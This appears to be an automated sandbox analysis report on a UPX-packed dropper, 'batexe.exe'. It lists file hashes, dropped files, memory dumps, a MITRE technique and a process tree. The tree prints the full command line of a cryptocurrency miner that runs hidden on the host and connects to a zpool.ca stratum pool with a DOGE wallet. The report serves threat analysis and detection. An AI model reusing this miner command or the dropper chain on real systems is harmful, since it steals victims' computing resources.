73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
290s
max time network
296s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 09:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3952	b2e.exe
1264	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1264	cpuminer-sse2.exe
1264	cpuminer-sse2.exe
1264	cpuminer-sse2.exe
1264	cpuminer-sse2.exe
1264	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4680-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 3952	4680	batexe.exe	74
PID 4680 wrote to memory of 3952	4680	batexe.exe	74
PID 4680 wrote to memory of 3952	4680	batexe.exe	74
PID 3952 wrote to memory of 4972	3952	b2e.exe	75
PID 3952 wrote to memory of 4972	3952	b2e.exe	75
PID 3952 wrote to memory of 4972	3952	b2e.exe	75
PID 4972 wrote to memory of 1264	4972	cmd.exe	78
PID 4972 wrote to memory of 1264	4972	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9961.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe

Filesize
14.3MB

MD5
9d8e9bdc8fa53099d39157ce89a52380

SHA1
f82f5779206ce519469d98b9d411bf507aa6fd3f

SHA256
b11f90d98474079037073d85b2397fbae640225c378c82bd1dcd55f4313acf48

SHA512
96b635d60af26c18c66016318c44a1c10dccfd2fba1b2fbb067efc09e5dd8220c2707d43f7591c4390ccc5ab9cffe741992b16cf08432fe3020f045e1f463317

Download Submit
C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe

Filesize
16.8MB

MD5
47c5b139dd5573b3ce31d21438d1d2bd

SHA1
2c0990ea88be29dc98959b727f68d13b23e85269

SHA256
756a452a0417561909f7e0c762b3ca53d3f80d1ba57d018eff0d5116d5aebfbe

SHA512
a34c1b3f0522ecf32253c4b92b4847fce94f7688983e81362d4b77d3de45d8e230ff44115ec8bb433c2f59e66fb7459954653fef97552e1b50d659174398dc01

Download Submit
C:\Users\Admin\AppData\Local\Temp\9961.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
f1ca0e4f8c80894a61a5945f2fc27c61

SHA1
5d8469a5db2409fefd4dd907e3f4e21d888212d2

SHA256
85a6a3bf0a70ef299bf81f721b492de7d5dc9a8f73a7157c6c41bd4d8bf2957e

SHA512
1859c39c68c69f7d76e987b8593932f0a059fcb48d5be21bb8bb8649bcafcd4f1951043c70be114484650d08deaa1b90bd35510db7ee6a1af1cda75b6af9f3c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
960KB

MD5
5f088febb9167d9fa27631de416c40d9

SHA1
0e7cfc61e5cd1bb82c846c939d71388e2f9d5086

SHA256
869740b99a3d66f9e9decc133d9c3c4a2c14c3e7c62c512248da76f002387fce

SHA512
65e4cd0d550b852f50e426e53ff47bf1419a5cc1aaf07010b10b96f392148525950fd11dd3b1e8acda0916d288414629cde845cdc959ed7092e565ccb8ffa920

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
8339dd854ac8acbd755c7be45d3534c0

SHA1
c3450b51184637d82c27987117ed85c49f1ef097

SHA256
8e848628061dd11dcc386118b70c602aa51458bf1ce865c84752af7d8bd6e61d

SHA512
620f53d149dc4a1a240fce6c3baafad84d3a132b28493560a3e090911623b4c63294b0dc389f0eaede7d7007c55fab69b2d4a4f8691d0fa2de8312ee828e38a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1024KB

MD5
61f1013547dc4ad24f8c5338c41931c3

SHA1
4a9f72fe7e71046ecd3d5af6443f195a6051430b

SHA256
2a65749eaa95c5c90be12d11587a82432933aabd60e8854868bc7168a36150ee

SHA512
6604219c7e5d583e8cc6a1f407e9964ab39791026857d17c9de25d3a4a8bb0272d491c6c019643eeeee8a2bd3451f3e0b75298e043777d44b8f3a161582c9b40

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c92c77f1a0ac6f5dc252a0e6187d8345

SHA1
f7814840f3adb7a5f510c3cd772682d5542880d4

SHA256
2fc1c2da730cdbdf707f77739c0a6ccd5f598b75d7dcff31eed0f68549f1e043

SHA512
dcc271087d055c897b6f5ca858da460861a32f18100a211d794b57778f1c51b06f627e979ecb7e0c9fd06c2f41e4dbcfc168a21611810f867b14d033aab74111

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
27.2MB

MD5
19fcc327c7f9eaf6a1fae47c9864fda7

SHA1
90a9ca4f4eb5bc76424b6bec0acd3df0a53b8f8c

SHA256
baef1f4cabebdadc52213761b4c8e2bf381976a67bd7c490f952c38f6831b036

SHA512
76d129db3006de88b851100f559fac00796f150fd6290d8f1df9f01df5bc733ebf4f4b087580d3ec81c901002d155e522954a9c1a9919cc9ca87198974a77a3a

Download Submit
memory/1264-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1264-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1264-43-0x0000000057540000-0x00000000575D8000-memory.dmp

Filesize
608KB

Download
memory/1264-44-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/1264-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1264-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3952-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3952-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4680-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download